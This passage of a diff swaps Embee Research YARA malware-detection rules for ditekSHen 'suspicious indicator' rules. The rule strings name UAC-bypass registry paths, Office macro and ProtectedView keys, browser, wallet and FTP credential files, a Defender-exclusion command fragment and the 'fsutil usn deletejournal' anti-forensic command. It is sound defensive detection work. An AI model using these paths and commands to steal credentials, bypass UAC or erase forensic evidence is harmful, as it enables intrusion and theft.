 	condition:
-		dotnet.is_dotnet and ( all of ($s*))
+		( uint32(0)==0xe0ffd8ff or uint32(0)==0x474e5089 or uint16(0)==0x4d42) and 1 of them
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Njrat_Bytecodes_Oct_2023
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Eventviewer : FILE
 {
 	meta:
-		description = ""
-		author = "Matthew @ Embee_Research"
-		id = "9e39587a-e878-5f99-806f-e9964952f0ac"
-		date = "2023-10-03"
-		modified = "2023-10-03"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_bytecodes_oct_2023.yar#L3-L22"
-		license_url = "N/A"
-		hash = "59d6e2958780d15131c102a93fefce6e388e81da7dc78d9c230aeb6cab7e3474"
-		hash = "4c56ade4409add1d78eac3b202a9fbd6afbd71878c31f798026082467ace2628"
-		hash = "d5a78790a1b388145424327e78f019584466d30d2d450bba832c0128aa3cd274"
-		logic_hash = "7df39219e2f2da55e461b1536e92ab125d488a048e41daaaa1fb9516be395d10"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "detects Windows exceutables potentially bypassing UAC using eventvwr.exe"
+		author = "ditekSHen"
+		id = "e4e82d5a-a524-5fac-b14c-4e53a95f4f2c"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L68-L77"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "4b893db727ea3ef07805058e9a93664dc01590f249158d9b825cc9cece935640"
+		score = 40
+		quality = 41
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {14 80 ?? ?? ?? ?? 16 80 ?? ?? ?? ?? 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 14 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 14 80 ?? ?? ?? ?? 2A }
+		$s1 = "\\Classes\\mscfile\\shell\\open\\command" ascii wide nocase
+		$s2 = "eventvwr.exe" ascii wide nocase
 
 	condition:
-		dotnet.is_dotnet and $s1
+		uint16(0)==0x5a4d and all of them
 }
-rule EMBEERESEARCH_Win_Redline_Bytecodes_Jan_2024 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Cleanmgr : FILE
 {
 	meta:
-		description = "Bytecodes found in late 2023 Redline malware"
-		author = "Matthew @ Embee_Research"
-		id = "8acf0fbb-f7d1-5a3d-9ccb-ee21926d6a31"
-		date = "2023-08-27"
-		modified = "2024-01-02"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_jan_2024.yar#L1-L22"
-		license_url = "N/A"
-		hash = "ea1271c032046d482ed94c6d2c2c6e3ede9bea57dff13156cabca42b24fb9332"
-		logic_hash = "43f4d718611c16983071587c2806f92550ebba6bae737c59c63cd8584a5cc01f"
-		score = 75
-		quality = 75
+		description = "detects Windows exceutables potentially bypassing UAC using cleanmgr.exe"
+		author = "ditekSHen"
+		id = "cebbe22d-d54d-5a1e-978a-37ddd96133b7"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L79-L88"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9b9e2789bee4f3b54384dabde028a7b6e70b3e0d66090d5141145a72df515db4"
+		score = 40
+		quality = 41
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {00 00 7E ?? ?? ?? 04 7E ?? ?? ?? 04 28 ?? ?? ?? 06 17 8D ?? ?? ?? 01 25 16 1F 7C 9D 6F ?? ?? ?? 0A 13 ?? 16 13 ?? 38 }
-		$s2 = "mscoree.dll" ascii
+		$s1 = "\\Enviroment\\windir" ascii wide nocase
+		$s2 = "\\system32\\cleanmgr.exe" ascii wide nocase
 
 	condition:
-		$s1 and $s2 and uint16(0)==0x5a4d
+		uint16(0)==0x5a4d and all of them
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Xworm_Simple_Strings
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Enable_Officemacro : FILE
 {
 	meta:
-		description = "Detects simple strings present in unobfuscated xworm"
-		author = "Matthew @ Embee_Research"
-		id = "8d5d8f07-72fa-596b-a3fc-1dee4b7fd058"
-		date = "2023-08-30"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_xworm_simple_strings_sep_2023.yar#L3-L29"
-		license_url = "N/A"
-		hash = "4459d95c0493d640ecc9453cf6a4f2b7538b1a7b95032f70803fc726b8e40422"
-		hash = "820bb1a31f421b90ea51efc3e71cc720c8c2784fb1e882e732e8fafb8631a389"
-		logic_hash = "f7df310b24b2078249cdb670ece71ebe30f985c92b3e44b6dcf0e37405a26bc3"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects Windows executables referencing Office macro registry keys. Observed modifying Office configurations via the registy to enable macros"
+		author = "ditekSHen"
+		id = "2cd26bc8-33c7-5628-982f-dc59ce158082"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L90-L108"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "18f66cff1fe2ab32366bf385bfe08f4895071c83e26812709eeb334857754c0f"
+		score = 40
+		quality = 39
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$x1 = "XWorm V" wide nocase
-		$s1 = "/create /f /RL HIGHEST /sc minute /mo 1 /tn " wide
-		$s2 = "/create /f /sc minute /mo 1 /tn " wide
-		$s3 = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath " wide
+		$s1 = "\\Word\\Security\\VBAWarnings" ascii wide
+		$s2 = "\\PowerPoint\\Security\\VBAWarnings" ascii wide
+		$s3 = "\\Excel\\Security\\VBAWarnings" ascii wide
+		$h1 = "5c576f72645c53656375726974795c5642415761726e696e6773" nocase ascii wide
+		$h2 = "5c506f776572506f696e745c53656375726974795c5642415761726e696e6773" nocase ascii wide
+		$h3 = "5c5c457863656c5c5c53656375726974795c5c5642415761726e696e6773" nocase ascii wide
+		$d1 = "5c%57%6f%72%64%5c%53%65%63%75%72%69%74%79%5c%56%42%41%57%61%72%6e%69%6e%67%73" nocase ascii
+		$d2 = "5c%50%6f%77%65%72%50%6f%69%6e%74%5c%53%65%63%75%72%69%74%79%5c%56%42%41%57%61%72%6e%69%6e%67%73" nocase ascii
+		$d3 = "5c%5c%45%78%63%65%6c%5c%5c%53%65%63%75%72%69%74%79%5c%5c%56%42%41%57%61%72%6e%69%6e%67%73" nocase ascii
 
 	condition:
-		dotnet.is_dotnet and $x1 and (2 of ($s*))
+		uint16(0)==0x5a4d and (2 of ($s*) or 2 of ($h*) or 2 of ($d*))
 }
-rule EMBEERESEARCH_Win_Lumma_Simple_Strings : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Disable_Officeprotectedview : FILE
 {
 	meta:
-		description = ""
-		author = "Matthew @ Embee_Research"
-		id = "d949d547-a2ee-56d9-8510-74f3b718b2c0"
-		date = "2023-09-13"
-		modified = "2023-09-21"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_lumma _simple_sep_2023.yar#L1-L40"
-		license_url = "N/A"
-		hash = "277d7f450268aeb4e7fe942f70a9df63aa429d703e9400370f0621a438e918bf"
-		logic_hash = "0b3cb6721d26b79afe892b1c4df5e54c18cd7a5492aeacd442deca6b9b926f3c"
-		score = 75
-		quality = 75
+		description = "Detects Windows executables referencing Office ProtectedView registry keys. Observed modifying Office configurations via the registy to disable ProtectedView"
+		author = "ditekSHen"
+		id = "fed81219-d141-5fbf-a7b6-518e3d4de6f6"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L110-L128"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "14b2c19ec1f1ade9285f9e73a8779865c1e09d5ad1df2e0469b5f4a5eb278110"
+		score = 40
+		quality = 39
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "Binedx765ance Chaedx765in Waledx765let" wide
-		$s2 = "%appdaedx765ta%\\Moedx765zilla\\Firedx765efox\\Profedx765iles"
-		$s3 = "\\Locedx765al Extensedx765ion Settinedx765gs\\"
-		$s4 = "%appdedx765ata%\\Opedx765era Softwedx765are\\Opedx765era GX Staedx765ble"
-		$o1 = {57 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 62 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00}
-		$o2 = {4f 00 70 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 72 00 61 00 20 00 4e 00 65 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 6e 00}
-		$o3 = {4c 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 67 00 69 00 6e 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00}
+		$s1 = "\\Security\\ProtectedView\\DisableInternetFilesInPV" ascii wide
+		$s2 = "\\Security\\ProtectedView\\DisableAttachementsInPV" ascii wide
+		$s3 = "\\Security\\ProtectedView\\DisableUnsafeLocationsInPV" ascii wide
+		$h1 = "5c53656375726974795c50726f746563746564566965775c44697361626c65496e7465726e657446696c6573496e5056" nocase ascii wide
+		$h2 = "5c53656375726974795c50726f746563746564566965775c44697361626c65417474616368656d656e7473496e5056" nocase ascii wide
+		$h3 = "5c53656375726974795c50726f746563746564566965775c44697361626c65556e736166654c6f636174696f6e73496e5056" nocase ascii wide
+		$d1 = "5c%53%65%63%75%72%69%74%79%5c%50%72%6f%74%65%63%74%65%64%56%69%65%77%5c%44%69%73%61%62%6c%65%49%6e%74%65%72%6e%65%74%46%69%6c%65%73%49%6e%50%56" nocase ascii
+		$d2 = "5c%53%65%63%75%72%69%74%79%5c%50%72%6f%74%65%63%74%65%64%56%69%65%77%5c%44%69%73%61%62%6c%65%41%74%74%61%63%68%65%6d%65%6e%74%73%49%6e%50%56" nocase ascii
+		$d3 = "5c%53%65%63%75%72%69%74%79%5c%50%72%6f%74%65%63%74%65%64%56%69%65%77%5c%44%69%73%61%62%6c%65%55%6e%73%61%66%65%4c%6f%63%61%74%69%6f%6e%73%49%6e%50%56" nocase ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and (( all of ($s*)) or ( all of ($o*)))
+		uint16(0)==0x5a4d and (2 of ($s*) or 2 of ($h*) or 2 of ($d*))
 }
-rule EMBEERESEARCH_Win_Cobalt_Strike_Loader_Shellcode_Jun_2023 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Sandboxproductid : FILE
 {
 	meta:
-		description = "Detection of an encoder observed with Cobalt Strike shellcode"
-		author = "Matthew @ Embee_research"
-		id = "ea52b9e7-f2bd-5c9f-9ee1-506baa48be84"
-		date = "2023-07-03"
-		modified = "2023-07-03"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_shellcode_encoder_jun_2023.yar#L1-L21"
-		license_url = "N/A"
-		logic_hash = "42b4b9ab681f3164168de84e76bcd8161865fa9e5871d70a6de534b23896e4f0"
-		score = 75
-		quality = 75
+		description = "Detects binaries and memory artifacts referencing sandbox product IDs"
+		author = "ditekSHen"
+		id = "5af0ace7-6ffb-5695-94c5-d8172d326662"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L130-L149"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "3a047ef7e70956e1c2222bde47036d7fff6d98cd8a5df81ea85584a3b5006d4a"
+		score = 40
+		quality = 45
 		tags = "FILE"
-		vendor = ""
+		importance = 20
 
 	strings:
-		$get_enc_offset = {8b 88 c0 00 00 00 8b 90 c4 00 00 00 48 8d b0 c8 00 00 00}
-		$decode_loop = {ac 83 e1 03 d2 c8 ff c1 aa ff ca 75 f3}
-		$b64_initial_bytes = "SInISIlMJAiLiMAAAACLkMQAAABIjbDIAAAA" wide ascii
+		$id1 = "76487-337-8429955-22614" fullword ascii wide
+		$id2 = "76487-644-3177037-23510" fullword ascii wide
+		$id3 = "55274-640-2673064-23950" fullword ascii wide
+		$id4 = "76487-640-1457236-23837" fullword ascii wide
+		$id5 = "76497-640-6308873-23835" fullword ascii wide
+		$id6 = "76487-640-1464517-23259" fullword ascii wide
+		$id7 = "76487 - 337 - 8429955 - 22614" fullword ascii wide
+		$id8 = "76487 - 644 - 3177037 - 23510" fullword ascii wide
+		$id9 = "55274 - 640 - 2673064 - 23950" fullword ascii wide
+		$id10 = "76487 - 640 - 1457236 - 23837" fullword ascii wide
+		$id11 = "76497 - 640 - 6308873 - 23835" fullword ascii wide
+		$id12 = "76487 - 640 - 1464517 - 23259" fullword ascii wide
 
 	condition:
-		(($get_enc_offset and $decode_loop) or $b64_initial_bytes) and filesize <10000KB
+		uint16(0)==0x5a4d and 2 of them
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Solarmarker_Bytecodes : FILE
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_AHK_Downloader : FILE
 {
 	meta:
-		description = "Detects bytecodes present in solarmarker Packer"
-		author = "Matthew @ Embee_Research"
-		id = "d405e7ae-f09b-5993-a510-e5e1bc289898"
-		date = "2023-09-10"
-		modified = "2023-09-11"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_bytecodes_aug_2023.yar#L3-L21"
-		license_url = "N/A"
-		hash = "a433dad1e31f2e19ab5d22b6348c73fa4c874502acc20d5517d785b554754279"
-		logic_hash = "52256184706b7173ee8e8683ac79c1b9d4773778c135e4dae255376c0a6651fb"
-		score = 75
-		quality = 75
+		description = "Detects AutoHotKey binaries acting as second stage droppers"
+		author = "ditekSHen"
+		id = "ac8320ed-a9e1-5660-a50f-ec010ac162a6"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L184-L196"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8806d8c03adb4ea4cd9b806f8f8c21e561b39b5602c70d09ed193e35e1502d35"
+		score = 40
+		quality = 45
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ??}
+		$d1 = "URLDownloadToFile, http" ascii
+		$d2 = "URLDownloadToFile, file" ascii
+		$s1 = ">AUTOHOTKEY SCRIPT<" fullword wide
+		$s2 = "open \"%s\" alias AHK_PlayMe" fullword wide
+		$s3 = /AHK\s(Keybd|Mouse)/ fullword wide
 
 	condition:
-		dotnet.is_dotnet and filesize <7000KB and $s1
+		uint16(0)==0x5a4d and (1 of ($d*) and 1 of ($s*))
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Agent_Tesla_Bytecodes_Sep_2023
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_CMSTPCOM : T1218 FILE
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "Matthew @embee_research"
-		id = "9d1c5010-7c64-5a6a-bf60-35c042732761"
-		date = "2023-09-21"
-		modified = "2023-09-21"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_agent_tesla_bytecodes_sep_2023.yar#L4-L21"
-		license_url = "N/A"
-		hash = "ce696cf7a6111f5e7c6781854de04ddc262b6c9b39c059fd5435dfb3b8901f04"
-		hash = "afc29232c4989587db2c54b7c9f145fd0d73537e045ece15338582ede5389fce"
-		hash = "fba4374163ba25c9dc572f1a5d7f3e46e09531ab964d808f3dde2a19c05a2ee5"
-		logic_hash = "1cc40ab16dfa5245b3146e4512509037f540d59e155040a2336a97cd0f42e612"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)"
+		author = "ditekSHen"
+		id = "cdcf6e29-6ee7-5ac7-bd52-c8d42f3f8bf6"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L198-L213"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "d198db97901475c0dd10603875fc339d8a7c6d40c7f9c22cda31bb0b1d6d0f2a"
+		score = 40
+		quality = 39
+		tags = "T1218, FILE"
+		importance = 20
 
 	strings:
-		$s1 = {8F ?? ?? ?? ?? 25 47 FE ?? ?? ?? FE ?? ?? ?? 91 61 D2 52 20 ?? ?? ?? ?? FE ?? ?? ?? }
+		$guid1 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" ascii wide nocase
+		$guid2 = "{3E000D72-A845-4CD9-BD83-80C07C3B881F}" ascii wide nocase
+		$guid3 = "{BA126F01-2166-11D1-B1D0-00805FC1270E}" ascii wide nocase
+		$s1 = "CoGetObject" fullword ascii wide
+		$s2 = "Elevation:Administrator!new:" fullword ascii wide
 
 	condition:
-		dotnet.is_dotnet and $s1
+		uint16(0)==0x5a4d and (1 of ($guid*) and 1 of ($s*))
 }
-rule EMBEERESEARCH_Win_Cobaltstrike_Pipe_Strings_Nov_2023 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store : FILE
 {
 	meta:
-		description = "Detects default strings related to cobalt strike named pipes"
-		author = "Matthew @ Embee_Research"
-		id = "9237f4e8-b9c4-54cb-9cb2-999d267392af"
-		date = "2023-11-04"
-		modified = "2023-11-04"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobaltstrike_pipe_strings_nov_2023.yar#L1-L24"
-		license_url = "N/A"
-		hash = "99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd"
-		hash = "090402a6e2db12cbdd3a889b7b46bb7702acc0cad37d87ff201230b618fe7ed5"
-		hash = "eb2b263937f8d28aa9df7277b6f25d10604a5037d5644c98ee0ab8f7a25db7b4"
-		logic_hash = "ff17fe9d04d9ad6aa5c034b69d412b0d62c48c537c3a54a465761e27e9255e6d"
-		score = 75
-		quality = 75
+		description = "Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers"
+		author = "ditekSHen"
+		id = "07223564-bf4f-5fcd-ad3d-b67eb3baea8e"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L345-L359"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "5350f79b01e8e8ae9e0607aa02965cd9ccc52c59a901abcb51e401476cb0fa3a"
+		score = 40
+		quality = 31
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "%c%c%c%c%c%cMSSE-%d-server"
-		$s2 = "ConnectNamedPipe"
-		$s3 = "CreateNamedPipeA"
-		$s4 = "TlsGetValue"
+		$s1 = "key3.db" nocase ascii wide
+		$s2 = "key4.db" nocase ascii wide
+		$s3 = "cert8.db" nocase ascii wide
+		$s4 = "logins.json" nocase ascii wide
+		$s5 = "account.cfn" nocase ascii wide
+		$s6 = "wand.dat" nocase ascii wide
+		$s7 = "wallet.dat" nocase ascii wide
 
 	condition:
-		( all of ($s*)) and filesize <500KB
+		uint16(0)==0x5a4d and 3 of them
 }
-rule EMBEERESEARCH_Win_Orcus_Rat_Simple_Strings_Dec_2023
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients : FILE
 {
 	meta:
-		description = "Strings observed in Orcus RAT"
-		author = "Matthew @ Embee_Research"
-		id = "baef6b96-bf94-5363-9186-9761a8055afd"
-		date = "2023-12-24"
-		modified = "2023-12-24"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_orcus_rat_simple_strings_dec_2023.yar#L1-L26"
-		license_url = "N/A"
-		hash = "30a2a674d55d7898d304713dd2f69a043d875230ea7ebee22596ba4c640768db"
-		logic_hash = "2e0a44ec2749e0fc646dfb003a2d32b3fecfa07ece72ca5a65116250d80496b8"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects executables referencing many file transfer clients. Observed in information stealers"
+		author = "ditekSHen"
+		id = "0967c8d6-fc80-5341-9974-c6f16f024c2c"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L418-L472"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "49daece8c3da43b3dba26ab6f71fa5c27d3a6ab2c0427b3d2613c1feb25458de"
+		score = 40
+		quality = 20
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "Orcus is a Remote Administration Tool for Windows. It allows the administrator to make changes to the system remotely." wide
-		$s2 = "Orcus.Service" wide
-		$s4 = "costura.orcus" wide
-		$s5 = "Orcus.Commands"
-		$s6 = "Orcus.Shared"
-		$s7 = "Orcus.Utilities"
-		$s8 = "Orcus.StaticCommands"
-		$s9 = "Orcus.Plugins"
+		$s1 = "FileZilla\\recentservers.xml" ascii wide
+		$s2 = "Ipswitch\\WS_FTP\\" ascii wide
+		$s3 = "SOFTWARE\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions" ascii wide
+		$s4 = "SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions" ascii wide
+		$s5 = "CoreFTP\\sites" ascii wide
+		$s6 = "FTPWare\\COREFTP\\Sites" ascii wide
+		$s7 = "HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" ascii wide
+		$s8 = "FTP Navigator\\Ftplist.txt" ascii wide
+		$s9 = "FlashFXP\\3quick.dat" ascii wide
+		$s10 = "SmartFTP\\" ascii wide
+		$s11 = "cftp\\Ftplist.txt" ascii wide
+		$s12 = "Software\\DownloadManager\\Passwords\\" ascii wide
+		$s13 = "jDownloader\\config\\database.script" ascii wide
+		$s14 = "FileZilla\\sitemanager.xml" ascii wide
+		$s15 = "Far Manager\\Profile\\PluginsData\\" ascii wide
+		$s16 = "FTPGetter\\Profile\\servers.xml" ascii wide
+		$s17 = "FTPGetter\\servers.xml" ascii wide
+		$s18 = "Estsoft\\ALFTP\\" ascii wide
+		$s19 = "Far\\Plugins\\FTP\\" ascii wide
+		$s20 = "Far2\\Plugins\\FTP\\" ascii wide
+		$s21 = "Ghisler\\Total Commander" ascii wide
+		$s22 = "LinasFTP\\Site Manager" ascii wide
+		$s23 = "CuteFTP\\sm.dat" ascii wide
+		$s24 = "FlashFXP\\4\\Sites.dat" ascii wide
+		$s25 = "FlashFXP\\3\\Sites.dat" ascii wide
+		$s26 = "VanDyke\\Config\\Sessions\\" ascii wide
+		$s27 = "FTP Explorer\\" ascii wide
+		$s28 = "TurboFTP\\" ascii wide
+		$s29 = "FTPRush\\" ascii wide
+		$s30 = "LeapWare\\LeapFTP\\" ascii wide
+		$s31 = "FTPGetter\\" ascii wide
+		$s32 = "Far\\SavedDialogHistory\\" ascii wide
+		$s33 = "Far2\\SavedDialogHistory\\" ascii wide
+		$s34 = "GlobalSCAPE\\CuteFTP " ascii wide
+		$s35 = "Ghisler\\Windows Commander" ascii wide
+		$s36 = "BPFTP\\Bullet Proof FTP\\" ascii wide
+		$s37 = "Sota\\FFFTP" ascii wide
+		$s38 = "FTPClient\\Sites" ascii wide
+		$s39 = "SOFTWARE\\Robo-FTP 3.7\\" ascii wide
+		$s40 = "MAS-Soft\\FTPInfo\\" ascii wide
+		$s41 = "SoftX.org\\FTPClient\\Sites" ascii wide
+		$s42 = "BulletProof Software\\BulletProof FTP Client\\" ascii wide
+		$s43 = "BitKinex\\bitkinex.ds" ascii wide
+		$s44 = "Frigate3\\FtpSite.XML" ascii wide
+		$s45 = "Directory Opus\\ConfigFiles" ascii wide
+		$s56 = "SoftX.org\\FTPClient\\Sites" ascii wide
+		$s57 = "South River Technologies\\WebDrive\\Connections" ascii wide
 
 	condition:
-		(5 of them )
+		uint16(0)==0x5a4d and 6 of them
 }
-rule EMBEERESEARCH_Win_Ursnif_Patterns_Oct_2022
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Usndeletejournal : FILE
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "Embee_Research @ Huntress"
-		id = "2c8da2b7-63f2-5cce-86ab-8a88f50d0263"
-		date = "2022-10-14"
-		modified = "2023-06-14"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_ursnif_patterns_oct_2022.yar#L1-L14"
-		license_url = "N/A"
-		logic_hash = "241804ea3b7ac98071c533d9a98a45cdd0f7043f11994327c1f79e29f5fdce2c"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in ransomware"
+		author = "ditekSHen"
+		id = "eafc7ed9-d0e7-562d-8215-6f3feddee27a"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L612-L628"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "1920fc2bc8c3628016bb91403960f5fbb101b5822f553c1f28d9502841a9832c"
+		score = 40
+		quality = 35
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$ursnif = {41 c1 e8 02 45 33 d2 45 8b d9 45 85 c0 74 2f 48 2b ca 83 7c 24 28 00 8b 04 11 44 8b c8 74 0a 85 c0 75 06 44 8d 40 01}
-		$script = "65,193,232,2,69,51,210,69,139,217,69,133,192,116,47,72,43,202,131,124,36,40,0,139,4,17,68,139,200,116,10,133,192,117,6,68,141,64,1"
+		$cmd1 = "fsutil.exe" ascii wide nocase
+		$s1 = "usn deletejournal /D C:" ascii wide nocase
+		$s2 = "fsutil.exe usn deletejournal" ascii wide nocase
+		$s3 = "fsutil usn deletejournal" ascii wide nocase
